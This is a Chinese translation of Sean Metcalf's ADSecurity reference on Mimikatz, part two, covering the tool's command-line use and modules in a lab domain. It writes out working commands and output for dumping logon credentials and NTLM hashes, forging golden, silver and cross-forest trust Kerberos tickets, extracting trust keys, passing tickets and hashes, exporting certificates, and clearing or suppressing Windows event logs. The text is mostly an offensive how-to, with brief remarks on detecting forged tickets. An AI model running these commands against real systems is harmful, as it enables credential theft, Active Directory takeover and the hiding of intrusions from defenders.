<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/pentesting/12521

    原文地址:https://adsecurity.org/?page_id=1821
    原文作者:Sean Metcalf

    譯者注:
    由于原文中,作者(Sean Metcalf)已經明確的指出 “未經本文作者明確的書面同意,請勿復制包含在此頁面的全部或部分內容。”,因此為了分享此佳作,譯者與作者(Sean Metcalf)在推上取得了聯系,溝通之后,作者允許我將此文完整翻譯并分享給其他人。在此也感謝 Sean Metcalf 大牛將有關 Mimikatz 的全部內容做了系統的整理并分享出來。以下是原文作者(Sean Metcalf)回復的截圖,以作授權說明:

    p1

    0x00 簡介


    Mimikatz 作為當下內網滲透神器之一,看起來似乎很少有人真正關注它的全部功能(Sean Metcalf 在原文開頭也表示了這樣的疑惑),在一些諸如 “十大黑客工具” 的文章中也看不到 Mimikatz 的影子。 Sean Metcalf 大牛將有關 Mimikatz 的相關技術做了系統的整理,遂做粗糙翻譯并作分享。譯文難免有誤,望各位看官及時指正。此文是譯文的第二部分,主要闡述了使用 Mimikatz 創建三大票證(黃金票證,白銀票證,信任票證)的命令用法,以及 哈希傳遞(PTH),票證傳遞(PTT),密鑰傳遞(PTK),緩存傳遞(PTC)的利用,在第三部分中會包含大量常用或不常用的 Mimikatz 命令的具體用法。

    0x01 執行 Mimikatz 的“另類思路”


    Casey Smith (@subtee & blog) 已經做了很多事情,表明了應用程序白名單不是萬能的。 Casey 也想出了很多新的想法,以“猥瑣”的方式來執行 Mimikatz 。

    0x02 最流行的 Mimikatz 命令


    下面就介紹一些最流行的 Mimikatz 命令及相關功能。

    0x03 ADSecurity 中與 Mimikatz 相關的文章


    所有提及到 Mimikatz 的文章:ADSecurity.org Mimikatz Posts

    0x04 Mimikatz 命令指南


    Mimikatz 可以在交互模式中運行,只需運行 “Mimikatz.exe” 即可或傳遞命令并退出(例如:'Mimikatz “Kerberos::list” exit')。Invoke-Mimikatz 沒有交互模式。

    Mimikatz 可以在命令行中傳遞多個命令,這在使用 Invoke-Mimikatz 或者是在腳本文件中使用 Mimikatz 時非常有用。

    追加的 “exit” 是 Mimikatz 執行的最后一個命令,這能夠使 Mimikatz 自動退出。

    #!bash
    PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
    
    .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32)
     .## ^ ##.
     ## / \ ##  /* * *
     ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
     '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
     '#####'                                     with 17 modules * * */
    
    mimikatz(commandline) # privilege::debug
     Privilege '20' OK
    
    mimikatz(commandline) # sekurlsa::logonpasswords
    
    Authentication Id : 0 ; 646260 (00000000:0009dc74)
     Session           : RemoteInteractive from 2
     User Name         : adsadministrator
     Domain            : ADSECLAB
     Logon Server      : ADSDC03
     Logon Time        : 11/27/2015 11:41:27 AM
     SID               : S-1-5-21-1581655573-3923512380-696647894-500
     msv :
     [00000003] Primary
     * Username : ADSAdministrator
     * Domain   : ADSECLAB
     * NTLM     : 5164b7a0fda365d56739954bbbc23835
     * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f
     [00010000] CredentialKeys
     * NTLM     : 5164b7a0fda365d56739954bbbc23835
     * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f
     tspkg :
     wdigest :
     * Username : ADSAdministrator
     * Domain   : ADSECLAB
     * Password : (null)
     kerberos :
     * Username : adsadministrator
     * Domain   : LAB.ADSECURITY.ORG
     * Password : (null)
     ssp :   KO
    

    交互模式提供了一個命令可以輸入并實時執行的 “Mimikatz 控制臺”:

    #!bash
    PS C:\temp\mimikatz> .\mimikatz
    
    .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32)
     .## ^ ##.
     ## / \ ##  /* * *
     ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
     '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
     '#####'                                     with 17 modules * * */
    
    mimikatz # privilege::debug
     Privilege '20' OK
    
    mimikatz # sekurlsa::logonpasswords
    
    Authentication Id : 0 ; 646260 (00000000:0009dc74)
     Session           : RemoteInteractive from 2
     User Name         : adsadministrator
     Domain            : ADSECLAB
     Logon Server      : ADSDC03
     Logon Time        : 11/27/2015 11:41:27 AM
     SID               : S-1-5-21-1581655573-3923512380-696647894-500
     msv :
     [00000003] Primary
     * Username : ADSAdministrator
     * Domain   : ADSECLAB
     * NTLM     : 5164b7a0fda365d56739954bbbc23835
     * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f
     [00010000] CredentialKeys
     * NTLM     : 5164b7a0fda365d56739954bbbc23835
     * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f
     tspkg :
     wdigest :
     * Username : ADSAdministrator
     * Domain   : ADSECLAB
     * Password : (null)
     kerberos :
     * Username : adsadministrator
     * Domain   : LAB.ADSECURITY.ORG
     * Password : (null)
     ssp :   KO
     credman :
    

    0x05 Mimikatz 命令參考


    Mimikatz 的模塊如下:

    注:任何被標記為“實驗”的項目,都應該僅在測試環境中使用。

    加密模塊(CRYPTO)

    Mimikatz 的 CRYPTO 模塊提供與 Windows 加密功能(CryptoAPI)進行對接的高級功能。

    典型的用法的是用于導出未標記為“可導出”的證書。

    CRYPTO::CAPI – (實驗)是對 CryptoAPI 層的補丁,便于導出憑證數據。

    p2

    CRYPTO::Certificates - 列出/導出 證書

    關于使用 Mimikatz 導出證書,Carlos Perez (又名DarkOperator) 發表過一篇很棒的文章。

    這個命令可以列出證書以及證書中密鑰的屬性。它同樣也可以導出證書。通常情況下,需要先執行 “privilege::debug”

    Benjamin 對 CRYPTO:Certificates 的注釋:

    CRYPTO::CNG - (實驗)對 CNG 服務進行補丁,便于導出(補丁 “KeyIso” 服務)
    CRYPTO::Hash - 對一個密碼進行哈希操作(可以使用可選的用戶名)
    CRYPTO::Keys - 列出/導出密鑰容器
    CRYPTO::Providers - 列出加密提供者

    p3

    CRYPTO::Stores - 列出加密存儲庫

    Store 選項:

    #!bash
    CERT_SYSTEM_STORE_CURRENT_USER or CURRENT_USER
    CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY or USER_GROUP_POLICY
    CERT_SYSTEM_STORE_LOCAL_MACHINE or LOCAL_MACHINE
    CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY or LOCAL_MACHINE_GROUP_POLICY
    CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE or LOCAL_MACHINE_ENTERPRISE
    CERT_SYSTEM_STORE_CURRENT_SERVICE or CURRENT_SERVICE
    CERT_SYSTEM_STORE_USERS or USERS
    CERT_SYSTEM_STORE_SERVICES or SERVICES
    

    p4

    DPAPI 模塊

    DPAPI::Blob – 使用 API 或 Masterkey 解除 DPAPI 二進制大對象的保護
    DPAPI:Cache
    DPAPI::CAPI – CAPI 密鑰測試
    DPAPI::CNG – CNG 密鑰測試
    DPAPI::Cred – CRE 測試
    DPAPI::CredHist – 配置一個 Credhist 文件
    DPAPI::MasterKey – 配置 Masterkey 文件或解除保護(依賴于密鑰)
    DPAPI::Protect – 使用 DPAPI 保護數據
    DPAPI::Vault – VAULT 測試

    EVENT 模塊

    EVENT::Clear – 清空事件日志

    p5

    EVENT:::Drop –(實驗)對事件服務進行補丁,避免新的事件產生

    p6

    KERBEROS 模塊

    Mimikatz 的 KERBEROS 模塊用于與微軟官方的 Kerberos API 進行對接。此模塊中的命令不需要特殊的權限。

    該命令提供的功能需要根據檢索到的密碼的哈希類型執行。

    Type Requirement Scope
    Golden KRBTGT hash Domain/Forest
    Silver Service hash Service
    Trust Trust hash Domain/Forest -> Domain/Forest
    (基于帳戶的訪問)

    黃金票證(Golden Ticket)

    黃金票證是一個使用 KRBTGT 帳戶的 NTLM 密碼哈希來加密和簽名的 TGT 。

    黃金票證(簡稱:GT)可以用于創建任何在域中的用戶(實際存在或不存在的均可)冒充為任何在域中的組(提供幾乎不受限制的權限)的成員以及在域中的任何資源。由于黃金票證是一種身份驗證票證(TGT 如下所述),所以其范圍是 TGT 整個域(以及利用了 SID 歷史的 AD 林),還有一個原因是 TGT 可以用來獲取用于訪問資源的服務票據(TGS)。黃金票證(TGT)包含了用戶組成員信息(PAC),這些信息使用了域的 Kerberos 服務帳戶(KRBTGT)進行加密,簽名并且只能由 KRBTGT 帳戶才能打開并讀取這些信息。
    總之,一旦攻擊者能夠訪問 KRBTGT 帳戶的密碼哈希,他們就可以創建黃金票證(TGT)用于在任何時候訪問在 AD 中的任何東西。

    Mimikatz 黃金票證命令參考

    創建一個黃金票證的 Mimikatz 命令為 “kerberos::golden”

    黃金票證默認的組

    kerberos::golden /admin:ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt

    命令示例:
    .\mimikatz “kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt” exit

    p7

    黃金票證參考

    使用“ SID 歷史”的黃金票證

    更新于 1/5/2016:

    在 2015 年一月初,我分享過檢測偽造的 Kerberos 票證并且隨后在 BSides Charm 2015 中提到過此信息。不久后,Mimikatz 進行了更新,使用了一個設置為靜態值的 domain 字段,此字段通常包含字符串“eo.oe”。更新于 1/5/2016 的 Mimikatz 中,偽造的 Kerberos 票證將不再包含一個不規則的域,因為 Kerberos 票證的域組件中放置了 NetBIOS 域名稱

    下面是使用 diff 列出了 Mimikatz 代碼的不同之處:

    p8

    更多關于檢測偽造的 Kerberos 票證(黃金票證,白銀票證,等等)的不同之處,請看這里

    白銀票證(Silver Ticket)

    白銀票證(Silver Ticket)是一個 TGS (在格式上類似于 TGT),使用了目標的服務帳戶(通過 SPN 映射標識)的 NTLM 密碼哈希做加密,簽名。
    創建一個白銀票證的 Mimikatz 命令為 “kerberos::golden”

    Mimikatz 白銀票證命令參考

    白銀票證必須指定的參數

    白銀票證默認的組

    使用 Mimikatz 創建白銀票證(Silver Ticket)示例

    下面是為 adsmswin2k8r2.lab.adsecurity.org 上的 CIFS 服務創建一個白銀票證的 Mimikatz 命令。為了確保白銀票證能夠成功創建,需要先找到 adsmswin2k8r2.lab.adsecurity.org 中的 AD 計算機帳戶的密碼哈希,你可以從一個 AD 域中導出,也可以在本地系統中直接運行 Mimikatz (Mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit)。NTLM 密碼哈希被用于 /rc4 參數,服務 SPN 類型同樣需要使用 /service 參數指定。最后,目標計算機的完全合格域名名稱(FQDN)需要在 /target 參數中指定。不要忘記在 /sid 參數中指定域的 SID 。

    mimikatz “kerberos::golden /admin:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit

    p9

    更新于 1/5/2016:

    在 2015 年一月初,我分享過檢測偽造的 Kerberos 票證并且隨后在 BSides Charm 2015 中提到過此信息。不久后,Mimikatz 進行了更新,使用了一個設置為靜態值的 domain 字段,此字段通常包含字符串“eo.oe”。更新于 1/5/2016 的 Mimikatz 中,偽造的 Kerberos 票證將不再包含一個不規則的域,因為 Kerberos 票證的域組件中放置了 NetBIOS 域名稱

    下面是使用 diff 列出了 Mimikatz 代碼的不同之處:

    p10

    更多關于檢測偽造的 Kerberos 票證(黃金票證,白銀票證,等等)的不同之處,請看這里

    信任票證(Trust Ticket)

    一旦 Active Directory 的信任密碼哈希確定后 (Mimikatz “privilege::debug” “lsadump::trust /patch” exit),就可以生成一個信任票證(Trust Ticket)。關于信任票證(Trust Ticket)背后的更多細節,請看這里

    偽造內部的 AD 林信任票證

    在這個例子中,需要利用兩個額外的工具,由 Benjamin Delpy 編寫的 AskTGS 和 Kirbikator。

    第一步 導出信任密碼(或信任密鑰)

    當前使用的 Mimikatz 版本可以提取出信任密鑰(或密碼)。

    (Mimikatz “privilege::debug” “lsadump::trust /patch” exit)

    p11

    第二步 使用 Mimikatz 創建偽造的信任票證(跨域 TGT)

    偽造信任票證說明了票證的持有人是 AD 林中的企業管理員(Enterprise Admin)。這使得從一個子域到父域的訪問會得到完全的管理權限。請注意,此帳戶沒有存在于任何地方,因為它有效的使用黃金票證跨越了信任域。
    創建一個信任票證的 Mimikatz 命令為 “kerberos::golden”

    Mimikatz 信任票證命令參考

    信任票證必須指定的參數

    信任票證默認的組

    Mimikatz “Kerberos::golden /domain:child.lab.adsecurity.org /sid:S-1-5-21-3677078698-724690114-1972670770 /sids:S-1-5-21-1581655573-3923512380-696647894-519 /rc4:49ed1653275f78846ff06de1a02386fd /user:DarthVader /service:krbtgt /target:lab.adsecurity.org /ticket:c:\temp\tickets\EA-ADSECLABCHILD.kirbi” exit

    第三步 利用第二步中創建的信任票證文件在目的域中為針對性的服務獲取 TGS 。保存 TGS 到一個文件中

    在這個例子中,針對 CIFS 服務(實際上它可以針對任何服務)所產生的結果是 TGS 提供給了 EA 訪問父(根)域中的域控制器的權限。

    Asktgs c:\temp\tickets\EA-ADSECLABCHILD.kirbi CIFS/ADSDC02.lab.adsecurity.org

    p12

    第四步 利用第三步中創建的 TGS 文件并使用已經欺騙到手的權限訪問目標服務

    Kirbikator lsa c:\temp\tickets\CIFS.ADSDC02.lab.adsecurity.org.kirbi

    p13

    使用SEKURLSA::TICKETS 轉儲所在已在系統中驗證過的用戶的 Kerberos 票證。

    請注意,在有些情況下,用戶的憑證將不會被導出。這時候需要運行 SEKURLSA::Tickets /export(需要有適當的權限)。

    p14

    KERBEROS::PTC – 緩存傳遞(NT6)
    *Nix 操作系統,如 Mac OS, Linux,BSD, Unix,等等會將 Kerberos 憑證進行緩存。這些已經被緩存的文件通過使用 Mimikatz 可以被復制以及傳遞。同樣對將 Kerberos 票證注入到緩存文件中也很有用。

    一個很好的例子是在使用 PyKEK 利用 MS14-068 漏洞時所使用的 Mimikatz 的 kerberos::ptc 命令。PyKEK 生成了一個緩存文件,使用 Mimikatz 的 kerberos::ptc 命令可以注入操作。

    p15

    KERBEROS::PTT – 票證傳遞

    在找到 Kerberos 票證之后,它可以被復制到其他系統上,并且可以傳遞到當前會話中有效的模擬一次登錄且無需與域控制器有任何通信。未指定所需的權限。

    類似于SEKURLSA::PTH (Pass-The-Hash) 哈希傳遞

    p16

    KERBEROS::Purge – 清除所有的 Kerberos 票證

    功能類似于 “klist purge” 。在傳遞票證(PTC,PTT,等)前運行此命令,并且確保使用了正確的用戶上下文。

    p17

    KERBEROS::TGT – 獲取當前用戶的 TGT

    p18

    97av